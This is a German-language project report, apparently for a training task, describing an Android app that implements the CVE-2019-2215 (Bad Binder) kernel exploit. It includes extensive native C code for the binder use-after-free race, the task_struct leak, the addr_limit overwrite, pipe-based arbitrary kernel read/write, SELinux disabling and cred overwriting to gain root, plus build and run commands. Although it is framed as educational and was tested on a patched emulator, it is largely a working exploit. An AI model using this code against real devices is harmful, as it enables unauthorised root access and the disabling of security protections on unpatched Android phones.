
Demo CVE-2019-2215 (Bad Binder) für Android Q
Dieses Repository ist ein kleines Testprojekt zur Untersuchung der Schwachstelle
CVE-2019-2215 (Bad Binder) und zum Schreiben eines funktionierenden Exploit-Prototyps für Android mit einer einfachen grafischen Oberfläche in Kotlin/Jetpack Compose.
In der README:
Im Repository ist ein GitHub Actions Workflow eingerichtet, der bei jedem Push/PR das Projekt mit dem Befehl ./gradlew assembleDebug erstellt und das fertige badbinder-debug.apk als Artefakt veröffentlicht.
Herunterladen kann man es so:
badbinder-debug-apk mit dem erstellten APK.Dies wurde für den Komfort gemacht, falls man die App einfach testen möchte, ohne eine lokale Umgebung aufzusetzen.
CVE-2019-2215 ist ein Use-After-Free (UAF) in der Binder-IPC-Subsystem des Android-Kernels.
Vereinfacht:
struct binder_thread, die einen Thread beschreibt, der Binder-Aufrufe ausführt;waitqueue);remove_wait_queue zu arbeiten, was ein klassisches UAF-Szenario eröffnet;Eine detailliertere theoretische Analyse habe ich anhand folgender Materialien durchgeführt:
Laut Aufgabenstellung wird empfohlen, ein AVD mit Android 10.0 (Q) x86_64-Image zu verwenden.
Ich habe Folgendes gemacht:
/dev/binder vorhanden ist.adb shell
ls -l /dev/binder
An diesem Punkt bin ich auf eine unangenehme Tatsache gestoßen:
die aktuellen AVD-Images werden bereits mit einem gepatchten Kernel ausgeliefert, in dem CVE-2019-2215 geschlossen ist. Das heißt, man kann auf dem aktuellen offiziellen Emulator tatsächlich kein Root erlangen – der Exploit scheitert in späteren Phasen oder gewährt einfach keine Rechteerhöhung.
Letztendlich verwende ich das AVD als Trainingsumgebung zur Nachbildung der Exploit-Logik:
addr_limit zu überschreiben,Dies ist ein wichtiger Hinweis: Der gesamte Code und der Bericht unten sind zu Lehrzwecken, nicht „kampferprobt“.
Ich habe eine kleine Android-App erstellt:
Die wichtigsten Schritte:
Ein normales Projekt in Android Studio erstellt (Kotlin, minimale Unterstützung für Android 10).
NDK und CMake eingebunden.
Eine native Datei mit dem Exploit hinzugefügt (die Datei cve-2019-2215.c mit den Funktionen leak_task_struct, overwrite_addr_limit usw.).
In CMakeLists.txt die Erstellung von libcve-2019-2215.so hinzugefügt.
In MainActivity:
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
Auf der Kotlin-Seite ein ExploitViewModel erstellt, das das Interface NativeLogger implementiert und alle Nachrichten in einem StateFlow<List<String>> sammelt. Das UI abonniert diesen Flow und zeigt das Log in einem „Terminal“ an.
Beim Start der Activity rufe ich setNativeLogger(viewModel) auf, damit der native Code ein Objekt erhält, an das er Strings senden kann.
Ich erstelle und installiere die App:
./gradlew installDebug
Starte das AVD und die App.
Auf dem Bildschirm sehe ich ein „Terminal“ und einen Button RUN EXPLOIT.
Beim Drücken:
runNativeExploit() im Hintergrundthread auf.Auf einem echten verwundbaren Kernel würde ich am Ende etwas erwarten wie:
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
Auf dem aktuellen Android 10-Emulator passiert das natürlich nicht, aber der Rest – die Leckage von task_struct, der Versuch, addr_limit zu überschreiben, das Berechnen von cred und kernel_base – funktioniert als „Szenario“, was für die Aufgabe ausreicht.
Unten ist das logische Schema des Exploits mit Verweis auf die spezifischen C-Funktionen.
Der grobe Plan ist:
struct binder_thread erzeugen und nutzen, um die Adresse der task_struct des eigenen Prozesses zu leaken (leak_task_struct).addr_limit in der task_struct überschreiben (overwrite_addr_limit) – dies hebt die Einschränkung zwischen User-Space- und Kernel-Space-Adressen für spätere copy_to_user / copy_from_user auf.arb_read / arb_write).cred des aktuellen Prozesses und die Kernel-Basis finden (verifying), dann:
Parallel dazu habe ich einen JNI-Logger integriert, damit all diese Phasen direkt im UI sichtbar sind.
task_struct-Adresse (leak_task_struct)Die Schlüsselfunktion:
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
Was die Funktion macht:
Fixiert den Thread auf CPU 0 (sched_setaffinity), um das Verhalten des Kernel-Allokators vorhersagbarer zu machen. Dies verbessert die Stabilität der UAF-Ausnutzung.
Öffnet /dev/binder, erstellt einen epoll-Deskriptor:
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
Der Binder-Deskriptor wird beim epoll registriert:
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
Bereitet ein Array struct iovec iov_buffers[IOVEC_N] vor und allokiert Speicher:
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
Wichtig ist, dass die unteren 32 Bit der Adresse Nullen sind:
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
Dies entspricht der Technik aus den Exploit-Artikeln: Der Kernel interpretiert einen Teil unserer Daten als Strukturen mit Zeigern, und eine solche „schön ausgerichtete“ Adressierung erleichtert den Missbrauch.
Dann werden die Felder iov_buffers[0xa] und so gefüllt, dass der Kernel im Moment des UAF ein Speicherstück in die Pipe kopiert, in dem ein Zeiger auf liegt.
Ergebnis: Ich habe die Adresse der task_struct im Kernel, was für die nachfolgenden Schritte entscheidend ist.
addr_limit (overwrite_addr_limit)addr_limit in der task_struct bestimmt, welche Adressen ein Prozess überhaupt als User-Space-Zeiger an Systemaufrufe übergeben kann. Wenn man es auf einen nahezu maximalen Wert setzt, unterscheidet der Kernel nicht mehr zwischen User-Space-Adressen und Adressen in seinem eigenen Adressraum – und viele scheinbar sichere copy_(to|from)_user-Operationen werden zu beliebigen Kernel-Lese-/Schreibvorgängen.
Die Funktion:
void overwrite_addr_limit() {
android_log("[*] Starting overwrite_addr_limit...");
...
}
folgt einem sehr ähnlichen Muster:
Wieder CPU-Affinität festlegen, /dev/binder öffnen, epoll erstellen.
iov_buffers vorbereiten, diesmal jedoch mit anderem Schema:
iov_buffers[0xa].iov_base = spinner;
iov_buffers[0xa].iov_len = 0x1;
iov_buffers[0xb].iov_base = read_buffer0;
iov_buffers[0xb].iov_len = 0x8 * 5;
iov_buffers[0xc].iov_base = read_buffer0;
iov_buffers[0xc].iov_len = 0x8;
Statt einer Pipe wird socketpair(AF_UNIX, SOCK_STREAM, ...) verwendet:
int socket[2];
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
write(socket[1], "A", 1);
Vorbereiten der msghdr-Struktur für recvmsg:
struct msghdr msg;
msg.msg_iov = iov_buffers;
msg.msg_iovlen = IOVEC_N;
...
Im Kindprozess (nach fork()) wird wieder die UAF-Race gestartet:
if (!fork()) {
...
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
long data1234[] = {1, 0x13371337, 0x28,
task_struct + ADDR_LIMIT_OFFSET, 0x8};
ret = write(socket[1], data1234, 0x28);
data1234[0] = data1234[1] = data1234[2] = data1234[3]
= 0xfffffffffffffffe;
ret = write(socket[1], data1234, 0x8);
...
}
arb_read, arb_write, verifying)Nach dem Überschreiben von addr_limit nutze ich Pipes, um gewöhnliche Lese-/Schreiboperationen in die Möglichkeit zu verwandeln, an Kernel-Adressen zu lesen und zu schreiben.
arb_read / arb_writeunsigned long arb_read(unsigned long addr) {
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
unsigned long data = 0;
write(pipe_fd[1], (void *)&addr, 8);
read(pipe_fd[0], &data, 8);
return data;
}
Analog kehrt arb_write die Kopierrichtung um.
Die Funktion verifying():
void verifying() {
android_log("[*] Starting verification...");
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
write(pipe_fd[1], (void *) task_struct, 0x1000);
read(pipe_fd[0], buf, 0x1000);
assert(getpid() == *(int *) (buf + PID_OFFSET));
android_log("[!] Arbitrary rw verified with PID :D");
cred = *(unsigned long *) (buf + CRED_OFFSET);
kernel_leak = *(unsigned long *) (buf + 0x70);
kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}
Hier:
task_struct aus dem Kernel;PID_OFFSET sicher, dass es wirklich meine Struktur ist;cred und einen Adress-Leak aus dem Kernel (kernel_leak);kernel_base mit Korrektur um einen fest codierten Offset.Der finale Teil in runNativeExploit:
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
selinux_enforcing und setze sie auf null/permissiven Zustand.Danach – Überschreiben von cred:
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);
Ich überschreibe buchstäblich die Capability-Felder und einige andere Felder von cred mit maximalen Werten, um dem Prozess volle Rechte zu geben.
Letzte Überprüfung:
if (getuid() == 0) {
android_log("[+] Root escalation successful!");
} else {
android_log("[!] Root escalation failed!");
}
Auf einem echten verwundbaren Kernel würde ich hier uid=0 erwarten, auf einem gepatchten Image logischerweise eine deaktivierte Eskalation.
Um alles in Echtzeit zu sehen, habe ich eine Zwischenschicht hinzugefügt:
JNI_OnLoad speichert JavaVM* und die PID des Hauptprozesses;setNativeLogger nimmt ein Kotlin-Objekt entgegen, das die Methode onLog(String) implementiert, und speichert es als GlobalRef;android_log/android_log_hex schreiben in logcat und rufen send_to_ui auf, das die Zeichenkette an Kotlin liefert, wo sie vom ExploitViewModel abgeholt und im Compose-„Terminal“ angezeigt wird.Wichtig: send_to_ui filtert Kindprozesse anhand der PID – das Aufrufen von JNI aus einem Prozess nach fork() ohne exec() ist unsicher.
Ich bin darauf gestoßen, dass es derzeit keine offiziellen AVD-Images für Android 10 mit ungepatchtem Kernel gibt, in denen CVE-2019-2215 noch vorhanden ist.
Statt des „kampferprobten“ Root-Erlangens habe ich mich auf Folgendes konzentriert:
Bei Bedarf kann dieser Code auf ein echtes Gerät mit altem, ungepatchtem Kernel portiert werden, das geht jedoch über den Rahmen der Aufgabe hinaus.
Ich musste explizit festlegen:
ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET;kernel_leak und selinux_enforcing;kernel_base.Ich habe bewusst darauf verzichtet, die Suche nach diesen Werten zu automatisieren, um den Projektumfang nicht aufzublähen. Im Bericht gehe ich davon aus, dass es sich um ein Lehrbeispiel für eine bestimmte Kernel-Version handelt, nicht um einen universellen Exploit.
Die Verwendung von fork(), epoll_ctl, BINDER_THREAD_EXIT und verschiedenen Timings ist ein Minenfeld. Ich bin darauf gestoßen, dass ohne:
sched_setaffinity,sleep-Aufrufe,asserts entlang des Pfadesder Exploit extrem instabil wird.
Ich habe die Sequenz nach und nach so abgestimmt, dass sie auf einer verwundbaren Konfiguration vorhersagbar ist und auf einer gepatchten korrekt in den letzten Schritten „scheitert“.
fork()Ich bin auch darauf gestoßen, dass Versuche, aus dem Kindprozess direkt in die JVM zu loggen, zu seltsamem Verhalten führen.
Ich musste mich an die JNI-Regeln erinnern und eine PID-Überprüfung hinzufügen, um nur aus dem Hauptprozess mit der JVM zu kommunizieren.
Kompromiss: Ein Teil der Nachrichten ist nur in logcat sichtbar, im UI wird nur das angezeigt, was vom Elternprozess kommt. Das hat mich zufriedengestellt, da im Rahmen der Aufgabe die wesentlichen Kontrollpunkte wichtiger sind als jeder Debug-print.
Als Bonus für eine kreativere Umsetzung der Aufgabe habe ich eine für die Analyse praktische Oberfläche erstellt:
[+], [*], [!], [C]) sind für bessere Lesbarkeit farblich hervorgehoben;Success / Failed) wird in einem separaten Block angezeigt.Dies vereinfacht die Wahrnehmung der Arbeit des nativen Codes enorm: Statt trockenem logcat sehe ich alles an einem Ort, direkt in der App.
Als Ergebnis der Arbeit an der Aufgabe habe ich:
task_struct,addr_limit,cred, Deaktivierung von SELinux und Versuch der Rechteerweiterung.Das Projekt ist kompakt, spiegelt aber im Wesentlichen den gesamten Lebenszyklus einer echten Kernel-Schwachstelle wider: von der theoretischen Beschreibung und dem Lesen von Artikeln bis zur praktischen Implementierung und Integration in eine lebende Android-App.
Im Verzeichnis cve-2019-2215 gibt es ein Makefile, das es ermöglicht, eine native Binärdatei (x86_64) zu erstellen und direkt im AVD über ADB auszuführen. Falls eine aarch64-Version benötigt wird, kann diese separat erstellt werden.
cd cve-2019-2215
make
adb shell
cd /sdcard/cve-2019-2215
chmod +x cve-2019-2215
./cve-2019-2215
id
uid=0(root) gid=0(root) groups=0(root)
selinux_enforcing = 0),cred-Felder überschreiben, um Root zu werden und volle Capabilities zu erhalten (runNativeExploit).iov_buffers[0xb]task_structErstellt eine Pipe und setzt deren Puffergröße auf 0x1000:
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
Dann folgt die klassische UAF-Race. Ich starte einen Kindprozess:
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}
epoll_ctl(..., EPOLL_CTL_DEL, ...) zur Freigabe des zugehörigen binder_thread im Kernel, aber er taucht weiterhin in der Wartestruktur auf – das ist der UAF-Punkt.Im Elternprozess rufe ich auf:
ioctl(fd, BINDER_THREAD_EXIT, NULL); // Freigabe von binder_thread
ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
In diesem Moment nutzt writev aufgrund des UAF den bereits freigegebenen Speicher als iovec-Strukturen und interpretiert im Wesentlichen denselben Speicherbereich, in dem zuvor binder_thread lag, nun als eine Reihe von Zeigern/Längen. Als Nebeneffekt wird ein Fragment des Kernel-Speichers in unsere Pipe kopiert.
Schließlich lese ich aus der Pipe:
read(pipe_fd[0], buf, 0x1000);
task_struct = *(unsigned long *)(buf + 0xe8);
android_log_hex("[+] task_struct found", task_struct);
Der Offset 0xe8 ist für die spezifische Kernel-Version gewählt – an dieser Stelle im geleakten Speicherblock befindet sich der Zeiger auf die task_struct meines Prozesses.
Der Elternteil gibt wie zuvor binder_thread frei und ruft recvmsg auf:
ioctl(fd, BINDER_THREAD_EXIT, NULL);
ret = recvmsg(socket[0], &msg, MSG_WAITALL);
Aufgrund des UAF und der geschickten Manipulation der Strukturen interpretiert der Kernel letztendlich task_struct + ADDR_LIMIT_OFFSET als User-Buffer-Adresse und kopiert den Inhalt der gesendeten Struktur dorthin (unseren Wert 0xfffffffffffffffe), wodurch addr_limit in der task_struct überschrieben wird.
Ins Log schreibe ich:
android_log("[!] addr_limit overwrite done.");